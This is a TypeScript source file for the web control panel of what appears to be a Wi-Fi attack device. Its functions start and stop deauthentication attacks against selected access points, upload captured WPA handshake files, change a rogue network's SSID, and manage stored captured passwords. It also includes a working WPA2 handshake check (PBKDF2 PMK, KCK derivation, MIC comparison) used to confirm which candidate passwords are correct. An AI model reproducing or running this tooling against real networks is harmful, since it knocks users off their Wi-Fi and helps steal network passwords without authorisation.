1import { handshake, network, notifyStyle } from "@/lib/config"
2import { toast } from "react-hot-toast"
3import CryptoJS from "crypto-js"
4
5interface CapFile {
6 extractPmkFields(): any
7}
8
9declare var CapFile: {
10 new (data: ArrayBuffer, isPcap: boolean): CapFile
11}
12
13const deauth = async (state: boolean, apNo: number) => {
14 if (!state) {
15 const request = fetch("http://172.0.0.1/stop_deauth").then((response) => response.json())
16 toast.promise(
17 request,
18 {
19 loading: "Stopping Deauth...",
20 success: "Deauth Stopped",
21 error: (err) => err.message,
22 },
23 notifyStyle
24 )
25 return false
26 } else {
27 const request = fetch("http://172.0.0.1/deauth?ap=" + apNo)
28 .then((response) => {
29 return response.json()
30 })
31 .then((data) => {
32 if (data.status == "error") {
33 throw new Error(data.message)
34 }
35 return data
36 })
37 toast.promise(
38 request,
39 {
40 loading: "Deauthing...",
41 success: (data) => data.message,
42 error: (err) => err.message,
43 },
44 notifyStyle
45 )
46
47 try {
48 await request
49 } catch (err) {
50 return false
51 }
52
53 return true
54 }
55}
56
57const handleHandshakeFile = (e: React.ChangeEvent<HTMLInputElement>) => {
58 if (e.target.files?.length === 0) return
59 const file = e.target.files?.[0]
60 if (file) {
61 var extension = file.name.split(".").pop()?.toLowerCase()
62 if (extension != "cap" && extension != "pcap") {
63 toast.error("Please upload a .cap or .pacp file", notifyStyle)
64 e.target.value = ""
65 e.target.files = null
66 return
67 }
68 }
69}
70
71const handleUpload = () => {
72 const handshakeFile = (document.getElementById("handshake-file") as HTMLInputElement).files?.[0]
73 if (handshakeFile) {
74 let reader = new FileReader()
75 reader.onload = async (e) => {
76 const result = e.target!.result as ArrayBuffer
77 try {
78 let cap = new CapFile(result, false)
79 let handshake = cap.extractPmkFields()
80 delete handshake.bssid
81 delete handshake.keyDescriptorVersion
82 delete handshake.keyLength
83 let res = await fetch("http://172.0.0.1/post_handshake", {
84 method: "POST",
85 body: JSON.stringify(handshake),
86 })
87 if (res.status == 200) {
88 toast.success("Handshake uploaded successfully", notifyStyle)
89 window.location.reload()
90 } else {
91 toast.error("Handshake upload failed", notifyStyle)
92 }
93 } catch (err) {
94 console.log(err)
95 toast.error("Please upload a valid handshake file", notifyStyle)
96 }
97 }
98 reader.readAsBinaryString(handshakeFile)
99 } else {
100 toast.error("Please select a handshake file", notifyStyle)
101 }
102}
103
104const handleSSID = () => {
105 const ssid = (document.getElementById("ssid-change") as HTMLInputElement).value
106 if (ssid.length === 0) return
107 if (!confirm("Warning: \nChanging the SSID will restart the device. Do you want to continue?"))
108 return
109 let formData = new FormData()
110 formData.append("ssid", ssid)
111 fetch("http://172.0.0.1/post_ssid", { method: "POST", body: formData })
112 let message = toast.loading(
113 "SSID will be changed in a few seconds. Please switch to the new network.",
114 notifyStyle
115 )
116 setTimeout(() => {
117 toast.dismiss(message)
118 window.location.reload()
119 }, 10000)
120}
121
122const handleReset = async (x: "handshake" | "password") => {
123 if (x == "password") {
124 if (!confirm("Warning: \nDo you want to clear all the passwords?")) return
125 toast.promise(
126 fetch("http://172.0.0.1/clear_passwords"),
127 {
128 loading: "Clearing Passwords...",
129 success: "Passwords Cleared",
130 error: (err) => err.message,
131 },
132 notifyStyle
133 )
134 }
135 if (x == "handshake") {
136 if (!confirm("Warning: \nDo you want to clear all the handshakes?")) return
137 toast.promise(
138 fetch("http://172.0.0.1/clear_handshakes"),
139 {
140 loading: "Clearing Handshakes...",
141 success: "Handshakes Cleared",
142 error: (err) => err.message,
143 },
144 notifyStyle
145 )
146 }
147}
148
149function kckFromPmk(srcAddress: string, dstAddress: string, anonce: string, snonce: string) {
150 let prefix = "5061697277697365206b657920657870616e73696f6e00"
151 if (srcAddress < dstAddress) {
152 prefix += srcAddress
153 prefix += dstAddress
154 } else {
155 prefix += dstAddress
156 prefix += srcAddress
157 }
158 if (snonce < anonce) {
159 prefix += snonce
160 prefix += anonce
161 } else {
162 prefix += anonce
163 prefix += snonce
164 }
165 prefix += "00"
166 return prefix
167}
168
169function crackPassword(network: handshake, password: string) {
170 const pmk = CryptoJS.PBKDF2(password, network.ssid, { keySize: 8, iterations: 4096 })
171 const kck_pmk = kckFromPmk(network.srcAddress, network.dstAddress, network.anonce, network.snonce)
172 const prefix = CryptoJS.enc.Hex.parse(kck_pmk)
173 const hmac = CryptoJS.HmacSHA1(prefix, pmk).toString()
174 let kck = hmac.substring(0, 32)
175 const bytes = CryptoJS.enc.Hex.parse(network.eapolFrameBytes)
176 let newkck = CryptoJS.enc.Hex.parse(kck)
177 const computedMic = CryptoJS.HmacSHA1(bytes, newkck).toString().substring(0, 32)
178 // console.log("network", network.ssid)
179 // console.log("Expected MIC :", network.mic)
180 // console.log("Calculated MIC :", computedMic)
181 if (computedMic === network.mic) {
182 return true
183 } else {
184 return false
185 }
186}
187
188const validatePassword = (password: string, network: network) => {
189 if (network == undefined) {
190 toast.error("Please select a network", notifyStyle)
191 return false
192 }
193 if (password.length < 8) {
194 toast.error("Password must be at least 8 characters long", notifyStyle)
195 return false
196 }
197 network.handshakeData.forEach((handshake) => {
198 if (handshake.ssid !== network.ssid) return
199 if (crackPassword(handshake, password)) {
200 toast.success("Password is valid for " + handshake.ssid, notifyStyle)
201 } else {
202 toast.error("Password is not valid for " + handshake.ssid, notifyStyle)
203 }
204 })
205}
206
207export {
208 deauth,
209 handleSSID,
210 handleHandshakeFile,
211 handleUpload,
212 handleReset,
213 validatePassword,
214 crackPassword,
215}